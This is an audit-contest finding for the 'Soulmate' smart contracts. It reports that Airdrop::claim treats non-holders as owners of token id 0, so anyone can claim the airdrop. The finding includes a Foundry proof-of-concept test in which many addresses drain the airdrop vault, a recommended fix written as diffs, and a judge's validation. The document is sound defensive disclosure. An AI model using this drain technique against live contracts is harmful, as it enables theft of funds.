First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can claim airdrop meant to owner of soulmate token with id 0

kiqo

Summary

Any number of users can call the Airdrop::claim function and receive tokens that were meant for the owner of the soul mate token id 0.

Vulnerability Details

When calling Airdrop::claim it checks if the caller is the owner of a soulmate token in the following fashion

uint256 numberOfDaysInCouple = ( block.timestamp - soulmateContract.idToCreationTimestamp(soulmateContract.ownerToId(msg.sender))) / daysInSecond;

In the Soulmate contract this call will read from mapping(address owner => uint256 id) public ownerToId; which for users that have not minted a soulmate token will return 0. This makes it so that numberOfDaysInCouple will always correspond to the number of days that the owner of the soul mate token id 0 has been in a couple.

POC

Add the following test to BaseTest.t.sol and run forge test --mt test_user_can_claim_airdrop_from_id_0

function test_user_can_claim_airdrop_from_id_0() public {
_mintOneTokenForBothSoulmates();
​
uint256 numberDays = 7;
vm.warp(block.timestamp + (numberDays * 1 days));
​
for (uint256 i = 1; i < 100; i++) {
address attacker = vm.addr(i);
vm.prank(attacker);
airdropContract.claim();
assertEq(loveToken.balanceOf(attacker), 7000000000000000000);
}
}

Impact

An attacker can drain the Airdrop Vault of love tokens by repeatedly calling Aidrop::claim with different addresses.

Tools Used

Foundry

Recommendations

Change Soulmate.sol so that the token id starts with id 1 instead of 0, and add a check in Airdrop.sol so that the return of 0 in ownerToId is invalid.

In Soulmate.sol

- uint256 private nextID;
+ uint256 private nextID = 1;
...
function totalSupply() external view returns (uint256) {
- return nextID;
+ return nextID-1;
}
​
function totalSouls() external view returns (uint256) {
- return nextID * 2;
+ return (nextID-1) * 2;
}

In Airdrop.sol

/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Airdrop__CoupleIsDivorced();
error Airdrop__PreviousTokenAlreadyClaimed();
+ error Airdrop__InvalidTokenId();
...
​
function claim() public {
// No LoveToken for people who don't love their soulmates anymore.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
​
// Calculating since how long soulmates are reunited
- uint256 numberOfDaysInCouple = (block.timestamp -
- soulmateContract.idToCreationTimestamp(
- soulmateContract.ownerToId(msg.sender)
- )) / daysInSecond;
+ uint256 id = soulmateContract.ownerToId(msg.sender);
+ if (id == 0) {
+ revert Airdrop__InvalidTokenId();
+ }
+ uint256 numberOfDaysInCouple = (
+ block.timestamp - soulmateContract.idToCreationTimestamp(id)
+ ) / daysInSecond;
...
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.